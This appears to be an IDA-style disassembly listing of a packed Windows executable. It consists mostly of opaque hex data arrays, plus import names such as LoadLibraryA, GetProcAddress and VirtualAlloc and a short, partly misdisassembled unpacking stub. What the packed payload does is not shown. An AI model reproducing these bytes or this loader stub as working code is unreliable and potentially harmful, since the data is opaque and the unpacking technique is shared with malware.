		dd 0EE13F824h, 0C2354126h, 0C7C3C12Bh, 0FD59FE09h, 8DFC7ED6h
		dd 0E818903Fh, 28AB5B08h, 358B6839h, 0CE780022h, 0F0C1055h
		dd 0F44E6A84h, 48E5DB48h, 0D209A056h, 0D68708B8h, 15DB3923h
		dd 30B78872h, 0B4F8E363h, 50E82EC3h, 0D498C373h, 24388234h
		dd 40536A01h, 20BF050Dh, 7D12CB79h, 0C1350556h,	0F350C3CFh
		dd 4730AAABh, 0FE07A24h, 30CDEF86h, 18EE7D0Ah, 4DE8BB3Ch
		dd 0B374EF4Ch, 62B90343h, 0B9C9B60Fh, 28584E19h, 93872D0Fh
		dd 34881A25h, 0EE00D856h, 483852B7h, 5234208Dh,	0E780EEC9h
		dd 9E8DAA04h, 8084B818h, 1823993Bh, 8A112C36h, 0CE360151h
		dd 0FAB685E0h, 77C7303Bh, 8AFC3360h, 1689C792h,	8B469008h
		dd 76001340h, 804141F5h, 0D412B139h, 8308EAA6h,	993008C3h
		dd 0C1617204h, 0DBAA09Bh, 671B781Ch, 0FDA35016h, 3A020B97h
		dd 0CB68D49h, 10BF3BE2h, 62A50FE4h, 0BBD0A393h,	555DEBA5h
		dd 39403240h, 0DFE94890h, 804A1B1h, 6D8E3D40h, 56F17216h
		dd 3B2CDF39h, 6EB8554h,	390BFA9Dh, 0AB4DD9C2h, 81C10064h
		dd 5AC41D39h, 0E7C5697Bh, 4A27C3Ah, 3241CA5h, 0B4DFFAA0h
		dd 0E8568C15h, 55980021h, 4B755CFEh, 8E089C4h, 9BA025FFh
		dd 14FD2F6Ah, 0FC609CC7h, 59A10F75h, 19DE13F0h,	6E2D49ECh
		dd 74314EA4h, 4238222h,	4C11774h, 590C740Dh, 2BD58EDEh
		dd 0B84504B8h, 4EC1205h, 113C0874h, 6C995704h, 6C2FE68Bh
		dd 0D6B4AA97h, 0C5A3CB17h, 0C3DEDC4Eh, 4D795F6Ah, 461A43Ah
		dd 0E99956ECh, 0A9B3836h, 3D7316CFh, 880A1A1Ah,	3B070584h
		dd 0A8634029h, 0F2BA30F4h, 0D855AC6h, 3BE2037h,	8D575337h
		dd 0B6606155h, 0C002600Ah, 7720C13Bh, 0BC0B621Dh, 0B8412AD8h
		dd 8B00205Ch, 9C67D954h, 0C4DE2C84h, 0AAF3C2C0h, 8A164242h
		dd 334FF42h, 5B5FD075h,	9349536Ah, 359683FAh, 0B7A9F8Dh
		dd 6E568D50h, 0A1696289h, 6723D567h, 8B1D4EFDh,	56591E56h
		dd 23E33479h, 0FCB3B942h, 0A76821AEh, 317A277Eh, 0CA615CE2h
		dd 72688D8Dh, 88FC8C66h, 16743EC2h, 1610FA78h, 6405948Ah
		dd 20908883h, 461CEBC6h, 10741741h, 8E208E1Ah, 0E3EB05FCh
		dd 1CA4A080h, 3C652E32h, 0EBBF00C2h, 60157D49h,	19724125h
		dd 0B35A04B1h, 0C84BA8AAh, 20C18005h, 49B28888h, 6118C11Fh
		dd 4601372h, 0B50E777Ah, 0E91D384Eh, 0E0EB2016h, 9A4AA74Ch
		dd 838830BEh, 8BD3C53Dh, 178F33D3h, 3809A9FDh, 0FC8C5966h
		dd 62B05E68h, 77C868D8h, 681342ECh, 479E6450h, 9368A2A8h
		dd 358B1767h, 68170BA4h, 461644h, 0BD67D634h, 8B744529h
		dd 0C21034FAh, 7D02068h, 14BBCCA3h, 0D0A30C83h,	0CCA18577h
		dd 0AC16B578h, 0A699ABB1h, 0D0A117BCh, 53058510h, 38AE11A6h
		dd 0CE6203EAh, 0F99A4D07h, 6FCC93h, 578C6E66h, 0C7AF3B1h
		dd 0CDEB2CBh, 0F7141927h, 74EDA6C6h, 70CD59F5h,	0EB6F75EEh
		dd 68A210Ch, 46C08C46h,	224ECD49h, 1B1F295Eh, 600CEB75h
		dd 0E3835175h, 0D740317h, 421D9E20h, 0C3B9C92Fh, 5E5B10E3h
		dd 79268F66h, 3A819DD9h, 8A1E4F23h, 0C49911F9h,	776C3AF1h
		dd 0FA162E18h, 9978672Ah, 1563D7B7h, 6DAE3AFh, 833F16A8h
		dd 2CDE3CC6h, 0CF31EF3h, 60C675E1h, 8118EB39h, 0F3FFE223h
		dd 0F30E09BCh, 0C1DB400h, 0F19C53D3h, 40A5855h,	5F075A89h
		dd 0B0F87517h, 0A3857516h, 0BF53CCA3h, 4F280EF5h, 4E7640F8h
		dd 1E4F383Eh, 50384EBCh, 4E707C4Eh, 0F7EB4EA0h,	0BF35255Ch
		dd 9B25927Bh, 0E53FF7BFh, 0C06CB1Fh, 38049E03h,	0F3F44EFCh
		dd 3DE4CFECh, 0BFAB29DCh, 0FF09B2B5h, 7340F0D1h, 60CF4C03h
		dd 0ACBF7A4Ah, 8F5075C0h, 0C8AC5070h, 2CE84F76h, 0BD85C90h
		dd 2003B8F8h, 0BFF7D450h, 0AF292939h, 9429DCBFh, 5BEFBFDFh
		dd 970674CBh, 843C037Ch, 0CF94F38Ch, 0B7A43C9Ch, 0AEBFA6F4h
		dd 0D08B1FD7h, 3D89705h, 0F4FCE83Ch, 91AEBFA6h,	0E4543FE8h
		dd 9C6CD29Ah, 23644746h, 18A1CA8Ah, 0FA4C8391h,	992D4C81h
		dd 740C26AEh, 0D3D12B08h, 8BE76100h, 83D380C8h,	0C91006A3h
		dd 2ACDD7CAh, 0CF067410h, 44E3A4Fh, 234A472Ch, 448E82A7h
		dd 0B888CD56h, 463034BCh, 6481ACBh, 1D3BF633h, 151E9E5Bh
		dd 0A9FE8A01h, 0C844F609h, 0F90D5804h, 567162F5h, 626A5A0Fh
		dd 17D1EB3Dh, 14E3F602h, 0E33AD0D6h, 6F447F4Bh,	7256A45Ah
		dd 34F0001Dh, 0BD06C9D3h, 460E329Dh, 45825851h,	46920C5Bh
		dd 0B17D341Ah, 29795006h, 0EFF2AD15h, 4974ED51h, 0D7EB1808h
		dd 11C93483h, 6B0A7505h, 0DDCD446Bh, 4DC09579h,	40EB5959h
		dd 979F7D61h, 0D391B910h, 52502C05h, 0ACD3E7C4h, 0F7F08B80h
		dd 0B2F61BDEh, 6A30AC03h, 0D2BB7DFFh, 0B4990D44h, 3DA33FD3h
		dd 0A87DE708h, 0DEBB861h, 0FA68F27h, 0FF6A02CEh, 3A1C6868h
		dd 57F82C68h, 0A1643604h, 7985951Fh, 7A52589h, 6C2CAC19h
		dd 0E8658918h, 433DA718h, 75841FF8h, 7DA65746h,	68535B03h
		dd 6D9A6460h, 1DBA4344h, 89DAB81Ch, 1C231D5Ah, 20E322EBh
		dd 1D1BDD5Ch, 0A848ACB4h, 747C72EEh, 8113A31Fh,	7E147D39h
		dd 0C1F80410h, 43E4DD44h, 1DA116B4h, 1D447298h,	8B1C16C5h
		dd 0CB1F1802h, 8DD1B000h, 6630ECB4h, 0ABA64944h, 6544D38Bh
		dd 0D3189420h, 203C8B3Fh, 4C2E3E73h, 6C24617Fh,	40510878h
		dd 3720CB8Bh, 8B54B01Eh, 3BE4B2C1h, 9C8561DFh, 589CCA00h
		dd 831B0304h, 0FC2403C0h, 0DEE23A6Dh, 41C2C48Bh, 0D9AB83DCh
		dd 3913EB0Ch, 0F0698BD5h, 0CB1126CEh, 6738388Bh, 667416DCh
		dd 0DC2F4C53h, 0D6213961h, 4DF4F257h, 9F1A78CFh, 2C0A2DA5h
		dd 75891299h, 323660D8h, 0D0B45F6h, 3E407404h, 3C781C16h
		dd 0D5B03BB2h, 0DABC1E7Fh, 219732EAh, 8E8F851Ah, 658D14A1h
		dd 0C7A3B2C8h, 69490D7Fh, 3DE7095Bh, 0C5361FB3h, 0E0D38BDCh
		dd 581267B3h, 0B2B6DB33h, 74DF7DF0h, 64565CB4h,	6267B5E4h
		dd 8FEE9C74h, 47516B3h
		dd 6EB1703h, 25289C8Ch,	3DDD2068h, 797812D5h, 71B1C4F3h
		dd 0C6933C23h, 0C1C86D71h, 6072D308h, 4A8D5686h, 0AE63FF48h
		dd 0ABA03238h, 49F10CF2h, 0B8F32418h, 23755E0Ch, 43912B05h
		dd 4E7CC28Bh, 188FFA80h, 41780A80h, 0A9C310D3h,	3E75C306h
		dd 0CC26739Dh, 0D0515636h, 0F1149862h, 8B4104A5h, 461B1D48h
		dd 5349F156h, 0CEE418C7h, 3758A76Ch, 0C92DFCA3h, 1CF28B24h
		dd 0A1058549h, 3310D3E0h, 337950D1h, 3F46C2E3h,	0E894346Ch
		dd 0B818755Dh, 2CBC538Dh, 6F2041E3h, 71183E34h,	5661E01Fh
		dd 0BA866374h, 0EB3C8D10h, 0F4F17C38h, 31DCE231h, 0CD8356F8h
		dd 6A0BEBE2h, 13654883h, 0D8683A4h, 2F49292Ch, 395F56E0h
		dd 0F755D61Ch, 0D74EA452h, 1420935Bh, 0F563F279h, 5856FDCCh
		dd 575A73E1h, 548DE168h, 0CD4C8AC2h, 0C614E03h,	0BEC18A3Eh
		dd 972583D1h, 65392829h, 800882C5h, 0E8317FE1h,	7D24581h
		dd 117539B0h, 80C98016h, 0A8882DCh, 0C3846766h,	0C35EC605h
		dd 0EBC6295Ah, 660F7E0Ah, 3D51C6B6h, 984CE56Ch,	142772F3h
		dd 560B3C81h, 42102DDDh, 17D80185h, 2B6CEC73h, 0CC458A0h
		dd 8BE1368Bh, 4400413h,	1FBAC350h, 5C55D5E4h, 184C685Eh
		dd 0A56C92F3h, 5DCB2E48h, 0E58B1AC7h, 412F6C5Dh, 60438h
		dd 0AC8B86Dh, 0C4D20F74h, 61865375h, 8D3AB802h,	6E53D907h
		dd 0FE3607A6h, 9344D88h, 6A435FFh, 19C234FBh, 0C3588B20h
		dd 3B0C702Fh, 0E0702CE8h, 287424E2h, 76348D13h,	89B30D0Bh
		dd 1770BD27h, 441B37Ch,	1684F85h, 5A44F468h, 47057DB3h
		dd 8154FFD1h, 64C3EB08h, 9792A68Fh, 62D94BA1h, 616C8B64h
		dd 4792D81h, 0B22D2368h, 0C52B560h, 97C5C039h, 8A9BB705h
		dd 0BB5104h, 3F1810EBh,	21CD6808h, 0C6437B1Ch, 0C6B0A3Dh
		dd 58EA2659h, 43015620h, 43583032h, 8CA63030h, 44FA088Bh
		dd 0ACD54EFCh, 40F72D42h, 3D67A6E4h, 348E2B82h,	7E4C4475h
		dd 383E08E7h, 7BE17321h, 61C16808h, 760C8D16h, 748F38B1h
		dd 55564502h, 0CE106B8Dh, 5D170BA8h, 0B36415Eh,	78330BF5h
		dd 0AB253Ch, 0B38BFB65h, 8EAB1D04h, 8B3D4763h, 61B43608h
		dd 798F4436h, 8FD258DEh, 720C55B1h, 30EF083Bh, 348B011Ah
		dd 0B8A1EB8Fh, 5BEBDB68h, 0EB16C91Ch, 8B9B5C15h, 5DCB3F3Ah
		dd 51946B16h, 80953B55h, 418B293Ah, 3B0501Ch, 24B55018h
		dd 37FFE1BCh, 2F95B825h, 0E55F0000h, 10D182E1h,	3C31317h
		dd 9A8F127Bh, 38155E1Ch, 0F3111303h, 1527C517h,	77D81FF8h
		dd 7572F014h, 69746E00h, 6520656Dh, 6F721272h, 0D62B072h
		dd 5403B00Ah, 614F664Ch, 0EE8117Ch, 49530E00h, 60F6474Eh
		dd 414D4F59h, 11B812B3h, 30360B52h, 0B083832h, 74B202Dh
		dd 6C6261h, 69206F74h, 56B0696Eh, 692C6C61h, 680B0D7Ah
		dd 37706165h, 378E27CEh, 746F6E82h, 11043DCEh, 37816775h
		dd 63617073h, 0E0662362h, 776F6C7Bh, 9638B769h,	6F160661h
		dd 36E3376Eh, 74730FEBh, 0E835BC64h, 72752C70h,	6976052Bh
		dd 9C757472h, 0A5E23321h, 2023D063h, 6C0CB163h,	27D1286Dh
		dd 0CB5F7A34h, 650B2A5Fh, 2F165C78h, 0E7067458h, 5F4EE2DCh
		dd 7E3931B1h, 706F0BF7h, 31B85865h, 0F6F5C73h, 73655864h
		dd 9F2BB763h, 0CE463938h, 65138124h, 576B1964h,	3723A3D3h
		dd 752C6DFCh, 742CAC6Ch, 6127BF68h, 63162164h, 7BA92F6Bh
		dd 96349F17h, 612EB764h, 0A202E72Eh, 4E722138h,	7058006Dh
		dd 72166740h, 71206D61h, 36326D4Ah, 302F2FFCh, 975B4F39h
		dd 2A714110h, 7407626Dh, 8F2B2EEEh, 1661AC38h, 28756772h
		dd 5FA97389h, 452B6067h, 6EC19E66h, 82676E2Ch, 74056F58h
		dd 11F53AB6h, 7F64268Bh, 2DCE4DC4h, 66395860h, 695615B0h
		dd 1AA734Dh, 202B2B43h,	16A0BE52h, 0B462694Ch, 27797216h
		dd 73A70A8Dh, 0D145E416h, 1162210Eh, 3AD4F150h,	2E85CB55h
		dd 3C000B00h, 0E09E53E5h, 6B2CE225h, 6E776CC1h,	471B603Eh
		dd 4C367465h, 41373261h, 65760902h, 75AE8550h, 0F13B770h
		dd 958B57C5h, 87382664h, 73730065h, 42656761h, 4156786Fh
		dd 2573269Fh, 2E323306h, 0FC2AC864h, 0FF5C56h, 3F5346CEh
		dd 0E803D22Eh, 5470820Bh, 6F85486h, 560A5670h, 6E64C8E1h
		dd 65E41731h, 0C5602A09h, 13B865A1h, 0C066710Ch, 94E801EEh
		dd 659E27B8h, 0C365AAE1h, 0CC8765C0h, 68AE0E65h, 38689C1Ch
		dd 7018688Ch, 0E1662A66h, 44C36638h, 66548766h,	1C66600Eh
		dd 7A38666Ch, 66708E66h, 0B4E366A2h, 0D23CC4CFh, 0C7F6F3E4h
		dd 100E6704h, 671C1C67h, 38672A38h, 67466770h, 0C36760E1h
		dd 9087677Ah, 67A80E67h, 0F3D2C23Ch, 2EF4CFE0h,	125C7704h
		dd 28F31E03h, 463C34CFh, 0CF66F356h, 0D1C03D7Ch, 0E768F201h
		dd 2ED7B566h, 78453658h, 430C79D0h, 46797230h, 591C6946h
		dd 4D776C59h, 75646F16h, 4C10740Ch, 14EDA74Eh, 0D9DC1CBh
		dd 269D6372h, 7821BD0Bh, 446C7393h, 6210DD7Bh, 17E079EAh
		dd 4E52454Bh, 954C4526h, 43724CE3h, 0DD34C953h,	0D3A3458h
		dd 0B8824923h, 5359550Bh, 0F725DC28h, 6D117C4Bh, 594E009Ch
		dd 7FD4294Ch, 6EDD564Ch, 1FE8FF73h, 588D8E48h, 0BE656446h
		dd 4D259A2Bh, 2C0FBA5Ch, 745B5C57h, 37CD4DA5h, 330A7E55h
		dd 0A7114500h, 30633779h, 1F540E79h, 12652D50h,	75CB75CEh
		dd 770B3646h, 13539627h, 0E786482Eh, 0C5278F42h, 0C0E2257Eh
		dd 0F714F364h, 5443620Fh, 0A8053379h, 0BDCE611Dh, 6E497011h
		dd 41415D8Bh, 50881FCEh, 749D46D3h, 19994EBDh, 23DF6C41h
		dd 8A0BBE0Dh, 2588EE53h, 386544A1h, 0BE796F60h,	2443670Dh
		dd 951B742Dh, 0F71FE556h, 45440602h, 5E5EF16Eh,	19417317h
		dd 8BF557ACh, 16D264AAh, 540CA868h, 0B5D04D6Fh,	745F7942h
		dd 0CF2E75BDh, 0B757A817h, 93C0BA89h, 0B2073933h, 231CD685h
		dd 16936C46h, 4281FD68h, 39666675h, 0F3C00BEh, 0D5BE3FBDh
		dd 43E2674Dh, 0F13A6950h, 0C65410Bh, 454F63F0h,	0AD0BB54Dh
		dd 6441029Eh, 0B77D7264h, 728F4534h, 0DC614197h, 4F6413ADh
		dd 0AD53F966h, 0F6ECCEE1h, 437BD0A4h, 3752994Dh, 890F3E8Ah
		dd 0D2E7AD57h, 41D9D10Dh, 23DD116Ah, 6C745280h,	0E2776E55h
		dd 0A8C79E64h, 4C697414h, 0DFBA5043h, 70703DC2h, 2E74A9C0h
		dd 0FCDB7063h, 0F684AC31h, 1EB514FBh, 0B1A528Bh, 31C8E0Bh
		dd 134C2F0Bh, 961D3370h, 0D21AED3Eh, 33627711h,	5703DB76h
		dd 53706D0Bh, 1A5C7751h, 2E02B176h, 11B1AB0Ch, 5100C15Ch
		dd 803F7827h, 85077B5Bh, 51BD0101h, 0E5A45DD7h,	0E6EF0154h
		dd 3CE023Dh, 3CFEAE00h,	0A3600FFh, 2B36E00h, 66394C5h
		dd 6368C4F0h, 3C2E359Bh, 180A7907h, 0EC8E10E7h,	0BC113C62h
		dd 98CF12F3h, 0F36C133Ch, 3C34CF18h, 1AF30C19h,	1E61D4C7h
		dd 1C9C791Bh, 789E74E7h, 0E7796479h, 797A9E54h,	40E7FC44h
		dd 3078FF9Eh, 0E303F8h,	0DF16F77Ch, 3023CDFh, 45A07BEh
		dd 5037997h, 69E0DE7h, 69070979h, 803E57Fh, 0F20907F3h
		dd 0B1BF90Ah, 3B165FDEh, 0BE0F163Ch, 13105F57h,	0BE12113Ch
		dd 21027903h, 35970DE7h, 0CF41CF0Fh, 3350CB43h,	17F252E5h
		dd 5707F953h, 0BE595F7Ch, 176C5F7Bh, 0F3206D3Ch, 2F1CCF70h
		dd 697AB72h, 0B380CB2Fh, 7F281E5h, 831FF982h, 477C84F9h
		dd 0CB29F391h, 0A1E50F9Eh, 0F9A48FF2h, 0B7F9A76Fh, 0BECE9F7Ch
		dd 27D77E1Fh, 861F0718h
		dd 742E0201h, 9D2E01E4h, 79826006h, 17F82182h, 7BCDFA6h
		dd 7A5A13Eh, 0FCE09F81h, 807E4041h, 2F70A8D9h, 33DAA3C1h
		dd 7E7C20A3h, 1FFE813Eh, 0B516FE40h, 413FBF2Fh,	1BCFB63Ch
		dd 4FA2E4A2h, 0E8A2E501h, 356A5BA2h, 7E615FDDh,	51D0FEA1h
		dd 0DA51E005h, 5FDA705Eh, 0DA6A1DDAh, 0D8D37032h, 0F9E0DE1Ch
		dd 397E312Dh, 2081054Fh, 6A199305h, 0E150Fh, 0AD85F099h
		dd 0AA62006Eh, 41A37373h, 0B7DC70C9h, 0D745C11h, 38002731h
		dd 1D6F2EF3h, 5CB3744Eh, 9C20176Fh, 0FBB61FBh, 2D6C1F8Bh
		dd 0F7731F9h, 2E0F4E2Bh, 77AC2B79h, 76596746h, 21284343h
		dd 7E2B32Eh, 4225D94Ah,	0E5741D72h, 75CD2009h, 6917CB69h
		dd 0B264650Dh, 1E5396Bh, 3B8FFB37h, 0EA32BC32h,	0D023BAFDh
		dd 3028FBh, 3093308Fh, 309B3097h, 0A3309F00h, 0AB30A730h
		dd 30AF0030h, 30D230CCh, 0FF0030DAh, 2B310530h,	313A31h
		dd 31613142h, 32583173h, 0C832C200h, 0E332DD32h, 32F40032h
		dd 332C331Ch, 5600333Eh, 7A336D33h, 338833h, 33B733A9h
		dd 33DC33D6h, 0FC33F100h, 0A3340F33h, 34B70034h, 34E634D0h
		dd 60034F2h, 49351F35h,	355535h, 3582357Bh, 35B335A6h
		dd 1B35BF00h, 87383E38h, 39920038h, 39E139D6h, 40039E8h
		dd 1D3A173Ah, 2C3A223Ah, 3A2Eh,	3A6E3A60h, 3A7C3A77h, 913A8A00h
		dd 0AC3AA43Ah, 3AB7003Ah, 3AC33ABDh, 0D3003ACDh, 0E23AD83Ah
		dd 3AFC3Ah, 3B183B10h, 3B4E3B1Eh, 0BC3B6000h, 0E63BD73Bh
		dd 3C02003Bh, 3C323C2Ch, 0A9003C8Fh, 0C53CB73Ch, 3CD03Ch
		dd 3CEA3CE4h, 3D013CF8h, 2B3D1200h, 993D3A3Dh, 3DA1003Dh
		dd 3E053DFBh, 84003E6Bh, 6F3F363Eh, 3F783Fh, 3F9B3F83h
		dd 3FDB3FB0h, 0F23FE502h, 343FF93Fh, 13438B3h, 0BB300BB4h
		dd 0D90130h, 77317031h,	31007F31h, 31883184h, 2B5318Ch
		dd 0F531DB31h, 2560FC31h, 320432h, 320C3208h, 32143210h
		dd 62321800h, 6C326832h, 32700D32h, 8D893274h, 338180E5h
		dd 330C3307h, 14331000h, 5B333133h, 338D0033h, 33983394h
		dd 0A000339Ch, 0A833A433h, 0B33AC33h, 33FA33B0h, 3404005Eh
		dd 340C3408h, 0D734CD00h, 54353C34h, 355B0035h,	35BE35B4h
		dd 0D50035CBh, 8F368535h, 370D36h, 37253714h, 37353730h
		dd 44373F00h, 83377737h, 378A0037h, 37A0379Ah, 0B10037A7h
		dd 0D237CA37h, 37D737h,	37E837E3h, 380437FEh, 4C384600h
		dd 7F386A38h, 38B00038h, 38CC38B7h, 40038FAh, 3A392539h
		dd 395739h, 398C397Eh, 39C339BDh, 0EA39D100h, 0E39F939h
		dd 3A2C003Ah, 3A503A43h, 7D133A76h, 2F953Ah, 123BFE3Bh
		dd 3C00423Ch, 3CC33C4Ah, 253D1Fh, 663D603Dh, 0B13D723Dh
		dd 3DB73D00h, 3E023DBFh, 2B3E0025h, 4B3E443Eh, 3E005C3Eh
		dd 3E723E62h, 803E79h, 0AF3E883Eh, 0C53EBB3Eh, 3ECD3E00h
		dd 3EDB3ED5h, 0F63E00E7h, 383F283Eh, 3F007B3Fh,	3F913F87h
		dd 2B33FA5h, 0C53FC03Fh, 3363CB3Fh, 0BD709930h,	2D3026h
		dd 0BA307530h, 0B6319D30h, 31EB3100h, 320D31F3h, 29322719h
		dd 32B8001Dh, 330932CBh, 2A33001Bh, 62333C33h, 33376F33h
		dd 9B00197Dh, 0D133C233h, 34001333h, 34453427h,	6D3451h
		dd 98348234h, 0AF349F34h, 34B53400h, 34C534BCh,	0D43400CCh
		dd 0E534DA34h, 2198ED34h, 374A0037h, 376A3750h,	7E01376Fh
		dd 94378437h, 7389F37h,	0CF0037C4h, 0DA37D537h,	337E037h
		dd 380A37EDh, 3B603810h, 2B3821h, 41383138h, 8B384738h
		dd 0B03907B1h, 63B290Dh, 3B443B31h, 6713E04Ah, 3B6D3Bh
		dd 3B7D3B77h, 3B883B82h, 0A13B9800h, 0CC3BBB3Bh, 3BD2003Bh
		dd 3C473BE5h, 0D8A13FEFh, 580E61h, 304C3006h, 30813056h
		dd 0EC308800h, 0A310430h, 0D7166E31h, 9E318A00h, 0B731B231h
		dd 31C40131h, 31E231D6h, 0C0F53AE7h, 2A3217F1h,	323F0032h
		dd 32563249h, 7301325Ch, 0C632AC32h, 9B0CE32h, 33001833h
		dd 334F3329h, 66335Fh, 8F337B33h, 0C933A733h, 33D93300h
		dd 33F433E0h, 18340005h, 6C341F34h, 340D8934h, 0C0673493h
		dd 0D935BAE3h, 3500E635h, 35F735F1h, 6F363Bh, 8136E536h
		dd 0A8389B38h, 38B53800h, 38D238C8h, 0D3800DBh,	2D391B39h
		dd 39004E39h, 39753954h, 8A397Fh, 97398F39h, 0C439AF39h
		dd 11CA3923h, 0A00DD9Eh, 203A163Ah, 3A2B3Ah, 3A3F3A35h
		dd 3A883A45h, 973A9200h, 0A13A9C3Ah, 3ABA023Ah,	3B2F3AC0h
		dd 3B5352C1h, 8CE77064h, 3B00AA3Bh, 3BC53BB8h, 8EF63BD5h
		dd 3C140407h, 0E0313C22h, 593C50EDh, 3C5F003Ch,	3C703C6Bh
		dd 81113C7Ah, 1BC0893Ch, 3C9B3C96h, 0C83C00ACh,	303E183Ch
		dd 3E27373Eh, 4800F53Fh, 753E4C3Eh, 3E009B3Eh, 3EBC3EB5h
		dd 0C43EC0h, 0CC3EC83Eh, 0D43ED03Eh, 3ED83E04h,	0F3C03F22h
		dd 3F303F2Ch, 9A3F341Eh, 3FC7F1B0h, 0D03FCC00h,	0F13FD43Fh
		dd 9413C63Fh, 1B00828Ch, 54304D30h, 305830h, 3060305Ch
		dd 30683064h, 70306C1Bh, 30C08105h, 9CC830C4h, 31268E2Fh
		dd 321392A5h, 87803142h, 96329132h, 32AF0032h, 32C932C4h
		dd 0F51132E8h, 29C30232h, 381E3316h, 334A31h, 337F3367h
		dd 33F7339Fh, 40340D04h, 1B70A834h, 183513h, 47353435h
		dd 60354E35h, 35683500h, 35893578h, 278E9Ch, 362A35D4h
		dd 365D363Ch, 0B3366E00h, 0C36BF36h, 374D0037h,	37D037B6h
		dd 419937D9h, 441C55A7h, 30D00000h, 30D830D4h, 0E00430DCh
		dd 0E830E430h, 30F0CFE0h, 0F81B30F4h, 13A1FC30h, 800D931h
		dd 10310C31h, 31140031h, 311C3118h, 24023120h, 2C312831h
		dd 709F6031h, 34017834h, 3484347Ch, 0AB8E3488h,	129Ch
		dd 30083004h, 30183014h, 28301C17h, 78CB71CDh, 0A9DB15B3h
		dd 17DB23D1h, 3437AB24h, 334400C5h, 3354334Ch, 6433005Ch
		dd 74336C33h, 33047C33h, 338C3384h, 0B4FB9C1Eh,	12h dup(0)
		dd 10000h, 6, 80000018h, 3 dup(0)
		dd 10000h, 7, 80000030h, 3 dup(0)
		dd 10000h, 809h, 48h, 9000h, 138h, 2 dup(0)
		dd 0B000h, 0Ch,	38D238CDh, 1000h, 0Ch, 3B493B3Ah, 3 dup(0)
		dd 40942F98h, 0
		dd 6902h, 3 dup(1), 0B0A6h, 0B0A2h, 0B0A0h, 0B0AA0000h
		dd 10170000h, 50430000h, 7070416Ch, 74656Ch, 0B0FDh, 0B10Dh
		dd 0B11Fh, 0B12Fh, 0
		dd 0B0B4h, 0
		dd 0FFFFFFFFh, 0B0F0h, 0B0B4h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 47000000h, 72507465h, 6441636Fh
		dd 73657264h, 73h, 72695600h, 6C617574h, 6F6C6C41h, 63h
		dd 72695600h, 6C617574h, 65657246h, 0F4D40000h,	0C036C58Dh
		dd 0F2EAA4C8h, 0DD6DD56Ah, 2CF60FB8h, 47630D46h, 3285D10Fh
		dd 22EA670Ch, 0C313F133h, 86183999h, 0DB33C6A9h, 50000834h
		dd 8B600000h, 8B242474h, 247Ch,	245C8B28h, 1B8BFC2Ch, 0DB85C933h
		dd 80B21074h, 0DF030000h, 0E803B1A4h, 66h, 0FB3BF673h
		dd 7C73h, 33575553h, 0ED3343DBh, 7C8DC38Bh, 0EB8B001Dh
		dd 0DF8B0800h, 0F11C49E8h, 3D5C8Dh, 800C703h, 3AE8EF8Bh
		dd 5D5FE20Eh, 73C12B5Bh, 8B090000h, 34E8C5h, 1CEB0000h
		dd 0AC08E0C1h, 0E840h, 28h, 13DE88Bh, 83000040h, 813DFFD9h
		dd 7076000h, 2BF78B56h,	5EA4F3F0h, 4141h, 0D20295EBh, 168A0575h
		dd 0C3D21246h, 0E841C933h, 0FFEE0000h, 0C913FFFFh, 0FFFFE7E8h
		dd 0C3F272FFh, 107C2Bh,	7C892824h, 0C2611C24h, 0B4480010h
		dd 1021h, 1B390310h, 50000Ah, 0B0B4h, 0B0B8h, 7DF80000h
		dd 0EBF877F4h, 70007FFDh, 0B80000h, 80000h, 648Ch, 0A000h
		dd 6, 3E331400h, 69140FB1h, 5360000h, 1000h, 903C02h, 67ED00h
		dd 58002700h, 700F01h, 61E900h,	58000400h, 600F06h, 58D600h
		dd 58C51300h, 60810F09h, 4061708h, 10h,	48D000h, 0A000800h
		dd 0A801h, 52515300h, 56570800h, 5D1DE855h, 1130ED81h
		dd 1000h, 1125B58Dh, 468B1000h,	4C083FCh, 568BF02Bh, 8B080008h
		dd 0C2031C46h, 8D89088Bh, 2830128Fh, 930C2017h,	0A0C2240Ch
		dd 280C970Ch, 9B0C8200h, 738BDE0Ch, 8544h, 0B90E74F6h
		dd 2Bh,	7B8BF203h, 0F3FA0340h, 8BA40000h, 9F8D8DF3h, 51100012h
		dd 226E8h, 108B00h, 568B2C4Eh, 8560324h, 9768406Ah, 6A510000h
		dd 8912FF00h, 128B85h, 0D7E85610h, 4080003h, 0DFE85600h
		dd 2CB0504h, 62053004h,	0C9853432h, 89840Fh, 84E5400h
		dd 3EE85651h, 85000005h, 8B7B74C0h, 6F950000h, 8B100017h
		dd 17738Dh, 75C98510h, 8D08h, 13678Dh, 0F72DEB10h, 0C1h
		dd 521E7480h, 0E1810000h, 7FFFFFFFh, 23858D51h,	50100013h
		dd 80858Dh, 1000183Ch, 7D95FF50h, 468B1D25h, 308001Fh
		dd 524141C8h, 0D1858D51h, 1E005612h, 858D106Ah,	150100BBh
		dd 95FF006Ah, 0FF011779h, 8C395h, 68100013h, 8000h, 0B5FF006Ah
		dd 8BB80000h, 7E8B2846h, 0FFC70308h, 0C468B10h,	12FC703h
		dd 5A5F5E5Dh, 5EC35B59h, 0A2008004h, 0BB100013h, 21100013h
		dd 13814200h, 136D1000h, 561000h, 6E451B00h, 20797274h
		dd 6E696F50h, 2074h, 20746F4Eh,	6E756F46h, 68540064h, 72702065h
		dd 636F0061h, 72756465h, 23652065h, 23800070h, 63207325h
		dd 646C756Fh, 746F6E20h, 62200000h, 6F6C2065h, 65746163h
		dd 6E692064h, 7420h, 64206568h,	6D616E79h, 6C206369h, 206B6E69h
		dd 696C0018h, 72617262h, 73252079h, 3B512Eh, 6964726Fh
		dd 206C616Eh, 0A0006425h, 6E615B43h, 8C005D79h,	2C700013h
		dd 0BD9810h, 73750000h,	32337265h, 6C6C642Eh, 73654D00h
		dd 6173h, 6F426567h, 77004178h,	69727073h, 4166746Eh, 6B000160h
		dd 656E7265h, 7845226Ch, 7469100Ah, 7373DD50h, 0C001AF00h
; ---------------------------------------------------------------------------
		dec	ecx
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	ebp
		push	ebx
		push	edi
		push	esi
		add	[eax-147EA45Bh], dl
		setalc
		adc	eax, [eax]
		adc	[ebx+1100875h],	cl
		mov	ecx, [esi]
		add	ecx, ebx
		push	ecx
		call	dword ptr [ebx+24C08595h]
		add	[edx+edi-77h], dh
		inc	ebp
		cld
		mov	edx, [esi+4]	; CODE XREF: .text:0040E300j
		add	edx, ebx
		jle	short near ptr loc_40E2FB+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C085028Bh, 8B521A74h, 50C30302h, 0FFFC75FFh, 0AE934400h
